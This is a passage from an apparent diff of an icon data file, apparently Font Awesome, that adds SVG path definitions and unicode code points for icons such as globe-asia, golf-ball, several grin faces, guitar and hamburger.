20.47-45.5 57.36-82.04 103.2-101.89l24.01 12.01C203.48 89.74 216 82.01 216 70.11v-11.3c7.99-1.29 16.12-2.11 24.39-2.42l28.3 28.3c6.25 6.25 6.25 16.38 0 22.63L264 112l-10.34 10.34c-3.12 3.12-3.12 8.19 0 11.31l4.69 4.69c3.12 3.12 3.12 8.19 0 11.31l-8 8a8.008 8.008 0 0 1-5.66 2.34h-8.99c-2.08 0-4.08.81-5.58 2.27l-9.92 9.65a8.008 8.008 0 0 0-1.58 9.31l15.59 31.19c2.66 5.32-1.21 11.58-7.15 11.58h-5.64c-1.93 0-3.79-.7-5.24-1.96l-9.28-8.06a16.017 16.017 0 0 0-15.55-3.1l-31.17 10.39a11.95 11.95 0 0 0-8.17 11.34c0 4.53 2.56 8.66 6.61 10.69l11.08 5.54c9.41 4.71 19.79 7.16 30.31 7.16s22.59 27.29 32 32h66.75c8.49 0 16.62 3.37 22.63 9.37l13.69 13.69a30.503 30.503 0 0 1 8.93 21.57 46.536 46.536 0 0 1-13.72 32.98zM417 274.25c-5.79-1.45-10.84-5-14.15-9.97l-17.98-26.97a23.97 23.97 0 0 1 0-26.62l19.59-29.38c2.32-3.47 5.5-6.29 9.24-8.15l12.98-6.49C440.2 193.59 448 223.87 448 256c0 8.67-.74 17.16-1.82 25.54L417 274.25z" ], + "globe-asia": [ 496, 512, [], "f57e", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm-11.34 240.23c-2.89 4.82-8.1 7.77-13.72 7.77h-.31c-4.24 0-8.31 1.69-11.31 4.69l-5.66 5.66c-3.12 3.12-3.12 8.19 0 11.31l5.66 5.66c3 3 4.69 7.07 4.69 11.31V304c0 8.84-7.16 16-16 16h-6.11c-6.06 0-11.6-3.42-14.31-8.85l-22.62-45.23c-2.44-4.88-8.95-5.94-12.81-2.08l-19.47 19.46c-3 3-7.07 4.69-11.31 4.69H50.81C49.12 277.55 48 266.92 48 256c0-110.28 89.72-200 200-200 21.51 0 42.2 3.51 61.63 9.82l-50.16 38.53c-5.11 3.41-4.63 11.06.86 13.81l10.83 5.41c5.42 2.71 8.84 8.25 8.84 14.31V216c0 4.42-3.58 8-8 8h-3.06c-3.03 0-5.8-1.71-7.15-4.42-1.56-3.12-5.96-3.29-7.76-.3l-17.37 28.95zM408 358.43c0 4.24-1.69 8.31-4.69 11.31l-9.57 9.57c-3 3-7.07 4.69-11.31 4.69h-15.16c-4.24 0-8.31-1.69-11.31-4.69l-13.01-13.01a26.767 26.767 0 0 0-25.42-7.04l-21.27 5.32c-1.27.32-2.57.48-3.88.48h-10.34c-4.24 0-8.31-1.69-11.31-4.69l-11.91-11.91a8.008 8.008 0 0 1-2.34-5.66v-10.2c0-3.27 1.99-6.21 5.03-7.43l39.34-15.74c1.98-.79 3.86-1.82 5.59-3.05l23.71-16.89a7.978 7.978 0 0 1 4.64-1.48h12.09c3.23 0 6.15 1.94 7.39 4.93l5.35 12.85a4 4 0 0 0 3.69 2.46h3.8c1.78 0 3.35-1.18 3.84-2.88l4.2-14.47c.5-1.71 2.06-2.88 3.84-2.88h6.06c2.21 0 4 1.79 4 4v12.93c0 2.12.84 4.16 2.34 5.66l11.91 11.91c3 3 4.69 7.07 4.69 11.31v24.6z" ], + "globe-europe": [ 496, 512, [], "f7a2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm200 248c0 22.5-3.9 44.2-10.8 64.4h-20.3c-4.3 0-8.4-1.7-11.4-4.8l-32-32.6c-4.5-4.6-4.5-12.1.1-16.7l12.5-12.5v-8.7c0-3-1.2-5.9-3.3-8l-9.4-9.4c-2.1-2.1-5-3.3-8-3.3h-16c-6.2 0-11.3-5.1-11.3-11.3 0-3 1.2-5.9 3.3-8l9.4-9.4c2.1-2.1 5-3.3 8-3.3h32c6.2 0 11.3-5.1 11.3-11.3v-9.4c0-6.2-5.1-11.3-11.3-11.3h-36.7c-8.8 0-16 7.2-16 16v4.5c0 6.9-4.4 13-10.9 15.2l-31.6 10.5c-3.3 1.1-5.5 4.1-5.5 7.6v2.2c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8s-3.6-8-8-8H247c-3 0-5.8 1.7-7.2 4.4l-9.4 18.7c-2.7 5.4-8.2 8.8-14.3 8.8H194c-8.8 0-16-7.2-16-16V199c0-4.2 1.7-8.3 4.7-11.3l20.1-20.1c4.6-4.6 7.2-10.9 7.2-17.5 0-3.4 2.2-6.5 5.5-7.6l40-13.3c1.7-.6 3.2-1.5 4.4-2.7l26.8-26.8c2.1-2.1 3.3-5 3.3-8 0-6.2-5.1-11.3-11.3-11.3H258l-16 16v8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-20c0-2.5 1.2-4.9 3.2-6.4l28.9-21.7c1.9-.1 3.8-.3 5.7-.3C358.3 56 448 145.7 448 256zM130.1 149.1c0-3 1.2-5.9 3.3-8l25.4-25.4c2.1-2.1 5-3.3 8-3.3 6.2 0 11.3 5.1 11.3 11.3v16c0 3-1.2 5.9-3.3 8l-9.4 9.4c-2.1 2.1-5 3.3-8 3.3h-16c-6.2 0-11.3-5.1-11.3-11.3zm128 306.4v-7.1c0-8.8-7.2-16-16-16h-20.2c-10.8 0-26.7-5.3-35.4-11.8l-22.2-16.7c-11.5-8.6-18.2-22.1-18.2-36.4v-23.9c0-16 8.4-30.8 22.1-39l42.9-25.7c7.1-4.2 15.2-6.5 23.4-6.5h31.2c10.9 0 21.4 3.9 29.6 10.9l43.2 37.1h18.3c8.5 0 16.6 3.4 22.6 9.4l17.3 17.3c3.4 3.4 8.1 5.3 12.9 5.3H423c-32.4 58.9-93.8 99.5-164.9 103.1z" ], + "golf-ball": [ 416, 512, [], "f450", "M96 416h224c0 17.7-14.3 32-32 32h-16c-17.7 0-32 14.3-32 32v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-20c0-17.7-14.3-32-32-32h-16c-17.7 0-32-14.3-32-32zm320-208c0 74.2-39 139.2-97.5 176h-221C39 347.2 0 282.2 0 208 0 93.1 93.1 0 208 0s208 93.1 208 208zm-180.1 43.9c18.3 0 33.1-14.8 33.1-33.1 0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1zm49.1 46.9c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1zm64-64c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1z" ], + gopuram: [ 512, 512, [], "f664", "M496 352h-16V240c0-8.8-7.2-16-16-16h-16v-80c0-8.8-7.2-16-16-16h-16V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16S96 7.2 96 16v112H80c-8.8 0-16 7.2-16 16v80H48c-8.8 0-16 7.2-16 16v112H16c-8.8 0-16 7.2-16 16v128c0 8.8 7.2 16 16 16h80V352h32V224h32v-96h32v96h-32v128h-32v160h80v-80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v80h80V352h-32V224h-32v-96h32v96h32v128h32v160h80c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zM232 176c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v48h-48zm56 176h-64v-64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z" ], + "graduation-cap": [ 640, 512, [], "f19d", "M622.34 153.2L343.4 67.5c-15.2-4.67-31.6-4.67-46.79 0L17.66 153.2c-23.54 7.23-23.54 38.36 0 45.59l48.63 14.94c-10.67 13.19-17.23 29.28-17.88 46.9C38.78 266.15 32 276.11 32 288c0 10.78 5.68 19.85 13.86 25.65L20.33 428.53C18.11 438.52 25.71 448 35.94 448h56.11c10.24 0 17.84-9.48 15.62-19.47L82.14 313.65C90.32 307.85 96 298.78 96 288c0-11.57-6.47-21.25-15.66-26.87.76-15.02 8.44-28.3 20.69-36.72L296.6 284.5c9.06 2.78 26.44 6.25 46.79 0l278.95-85.7c23.55-7.24 23.55-38.36 0-45.6zM352.79 315.09c-28.53 8.76-52.84 3.92-65.59 0l-145.02-44.55L128 384c0 35.35 85.96 64 192 64s192-28.65 192-64l-14.18-113.47-145.03 44.56z" ], + "greater-than": [ 384, 512, [], "f531", "M365.52 209.85L59.22 67.01c-16.06-7.49-35.15-.54-42.64 15.52L3.01 111.61c-7.49 16.06-.54 35.15 15.52 42.64L236.96 256.1 18.49 357.99C2.47 365.46-4.46 384.5 3.01 400.52l13.52 29C24 445.54 43.04 452.47 59.06 445l306.47-142.91a32.003 32.003 0 0 0 18.48-29v-34.23c-.01-12.45-7.21-23.76-18.49-29.01z" ], + "greater-than-equal": [ 448, 512, [], "f532", "M55.22 107.69l175.56 68.09-175.44 68.05c-18.39 6.03-27.88 24.39-21.2 41l12.09 30.08c6.68 16.61 26.99 25.19 45.38 19.15L393.02 214.2c13.77-4.52 22.98-16.61 22.98-30.17v-15.96c0-13.56-9.21-25.65-22.98-30.17L91.3 17.92c-18.29-6-38.51 2.53-45.15 19.06L34.12 66.9c-6.64 16.53 2.81 34.79 21.1 40.79zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z" ], + grimace: [ 496, 512, [], "f57f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM144 400h-8c-17.7 0-32-14.3-32-32v-8h40v40zm0-56h-40v-8c0-17.7 14.3-32 32-32h8v40zm-8-136c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm72 192h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm-8-104c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64 128c0 17.7-14.3 32-32 32h-8v-40h40v8zm0-24h-40v-40h8c17.7 0 32 14.3 32 32v8z" ], + grin: [ 496, 512, [], "f580", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm80 256c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-alt": [ 496, 512, [], "f581", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm63.7 128.7c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zm-160 0c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-beam": [ 496, 512, [], "f582", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 144c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-beam-sweat": [ 504, 512, [], "f583", "M456 128c26.5 0 48-21 48-47 0-20-28.5-60.4-41.6-77.8-3.2-4.3-9.6-4.3-12.8 0C436.5 20.6 408 61 408 81c0 26 21.5 47 48 47zm0 32c-44.1 0-80-35.4-80-79 0-4.4.3-14.2 8.1-32.2C345 23.1 298.3 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-35.1-7.4-68.4-20.5-98.6-6.3 1.5-12.7 2.6-19.5 2.6zm-128-8c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-hearts": [ 496, 512, [], "f584", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM90.4 183.6c6.7-17.6 26.7-26.7 44.9-21.9l7.1 1.9 2-7.1c5-18.1 22.8-30.9 41.5-27.9 21.4 3.4 34.4 24.2 28.8 44.5L195.3 243c-1.2 4.5-5.9 7.2-10.5 6l-70.2-18.2c-20.4-5.4-31.9-27-24.2-47.2zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm133.4-201.3l-70.2 18.2c-4.5 1.2-9.2-1.5-10.5-6L281.3 173c-5.6-20.3 7.4-41.1 28.8-44.5 18.6-3 36.4 9.8 41.5 27.9l2 7.1 7.1-1.9c18.2-4.7 38.2 4.3 44.9 21.9 7.7 20.3-3.8 41.9-24.2 47.2z" ], + "grin-squint": [ 496, 512, [], "f585", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-squint-tears": [ 512, 512, [], "f586", "M409.6 111.9c22.6-3.2 73.5-12 88.3-26.8 19.2-19.2 18.9-50.6-.7-70.2S446-5 426.9 14.2c-14.8 14.8-23.5 65.7-26.8 88.3-.8 5.5 3.9 10.2 9.5 9.4zM102.4 400.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm311.7-256.5c-33 3.9-48.6-25.1-45.7-45.7 3.4-24 7.4-42.1 11.5-56.5C285.1-13.4 161.8-.5 80.6 80.6-.5 161.7-13.4 285 41.4 379.9c14.4-4.1 32.4-8 56.5-11.5 33.2-3.9 48.6 25.2 45.7 45.7-3.4 24-7.4 42.1-11.5 56.5 94.8 54.8 218.1 41.9 299.3-39.2s94-204.4 39.2-299.3c-14.4 4.1-32.5 8-56.5 11.5zM255.7 106c3.3-13.2 22.4-11.5 23.6 1.8l4.8 52.3 52.3 4.8c13.4 1.2 14.9 20.3 1.8 23.6l-90.5 22.6c-8.9 2.2-16.7-5.9-14.5-14.5l22.5-90.6zm-90.9 230.3L160 284l-52.3-4.8c-13.4-1.2-14.9-20.3-1.8-23.6l90.5-22.6c8.8-2.2 16.7 5.8 14.5 14.5L188.3 338c-3.1 13.2-22.2 11.7-23.5-1.7zm215.7 44.2c-29.3 29.3-75.7 50.4-116.7 50.4-18.9 0-36.6-4.5-51-14.7-9.8-6.9-8.7-21.8 2-27.2 28.3-14.6 63.9-42.4 97.8-76.3s61.7-69.6 76.3-97.8c5.4-10.5 20.2-11.9 27.3-2 32.3 45.3 7.1 124.7-35.7 167.6z" ], + "grin-stars": [ 496, 512, [], "f587", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM94.6 168.9l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.2 1 8.9 8.6 4.3 13.2l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L152 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.6-4.7-1.9-12.3 4.3-13.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm157.7-249.9l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L344 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.5-4.6-1.9-12.2 4.3-13.2l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.3.9 9 8.5 4.4 13.1z" ], + "grin-tears": [ 640, 512, [], "f588", "M102.4 256.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm523.4 26.8c-14.8-14.8-65.7-23.5-88.3-26.8-5.5-.8-10.3 3.9-9.5 9.5 3.2 22.6 12 73.5 26.8 88.3 19.2 19.2 50.6 18.9 70.2-.7s20-51.2.8-70.3zm-129.4-12.8c-3.8-26.6 19.1-49.5 45.7-45.7 8.9 1.3 16.8 2.7 24.3 4.1C552.7 104.5 447.7 8 320 8S87.3 104.5 73.6 228.5c7.5-1.4 15.4-2.8 24.3-4.1 33.2-3.9 48.6 25.3 45.7 45.7-11.8 82.3-29.9 100.4-35.8 106.4-.9.9-2 1.6-3 2.5 42.7 74.6 123 125 215.2 125s172.5-50.4 215.2-125.1c-1-.9-2.1-1.5-3-2.5-5.9-5.9-24-24-35.8-106.3zM400 152c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.7 9.2-21.6 20.7-17.9C227.1 330.5 272 336 320 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-tongue": [ 496, 512, [], "f589", "M248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-34.9 134.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z" ], + "grin-tongue-squint": [ 496, 512, [], "f58a", "M293.1 374.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-33.8 210.3l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.7 4.7 7.7 15.9 0 20.6zm163 30c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.8-4.7-7.8-15.9 0-20.6l80-48c11.7-6.9 23.9 7.7 15.4 18L343.6 208l33.6 40.3z" ], + "grin-tongue-wink": [ 496, 512, [], "f58b", "M344 184c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-56 225l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L112 233c-8.5 7.4-21.6.3-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c1.6 11.1-11.6 18.2-20 10.8zm152 39c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm-50.9 102.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z" ], + "grin-wink": [ 496, 512, [], "f58c", "M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm168 25l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.6 11-11.5 18.2-20 10.8zm-243.1 87.8C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6 20.7 17.9-9.2 55-83.2 93.3-143.8 93.3s-134.5-38.3-143.8-93.3c-2-11.9 9.3-21.6 20.7-17.9z" ], + "grip-horizontal": [ 448, 512, [], "f58d", "M96 288H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM96 96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z" ], + "grip-lines": [ 512, 512, [], "f7a4", "M496 288H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-128H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" ], + "grip-lines-vertical": [ 256, 512, [], "f7a5", "M96 496V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm128 0V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16z" ], + "grip-vertical": [ 320, 512, [], "f58e", "M96 32H32C14.33 32 0 46.33 0 64v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM288 32h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z" ], + guitar: [ 512, 512, [], "f7a6", "M502.63 39L473 9.37a32 32 0 0 0-45.26 0L381.46 55.7a35.14 35.14 0 0 0-8.53 13.79L360.77 106l-76.26 76.26c-12.16-8.76-25.5-15.74-40.1-19.14-33.45-7.78-67-.88-89.88 22a82.45 82.45 0 0 0-20.24 33.47c-6 18.56-23.21 32.69-42.15 34.46-23.7 2.27-45.73 11.45-62.61 28.44C-16.11 327-7.9 409 47.58 464.45S185 528 230.56 482.52c17-16.88 26.16-38.9 28.45-62.71 1.76-18.85 15.89-36.13 34.43-42.14a82.6 82.6 0 0 0 33.48-20.25c22.87-22.88 29.74-56.36 22-89.75-3.39-14.64-10.37-28-19.16-40.2L406 151.23l36.48-12.16a35.14 35.14 0 0 0 13.79-8.53l46.33-46.32a32 32 0 0 0 .03-45.22zM208 352a48 48 0 1 1 48-48 48 48 0 0 1-48 48z" ], + "h-square": [ 448, 512, [], "f0fd", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-112 48h-32c-8.837 0-16 7.163-16 16v80H160v-80c0-8.837-7.163-16-16-16h-32c-8.837 0-16 7.163-16 16v224c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16v-80h128v80c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16V144c0-8.837-7.163-16-16-16z" ], + hamburger: [ 512, 512, [], "f805", "M464 256H48a48 48 0 0 0 0 96h416a48 48 0 0 0 0-96zm16 128H32a16 16 0 0 0-16 16v16a64 64 0 0 0 64 64h352a64 64 0 0 0 64-64v-16a16 16 0 0 0-16-16zM58.64 224h394.72c34.57 0 54.62-43.9 34.82-75.88C448 83.2 359.55 32.1 256 32c-103.54.1-192 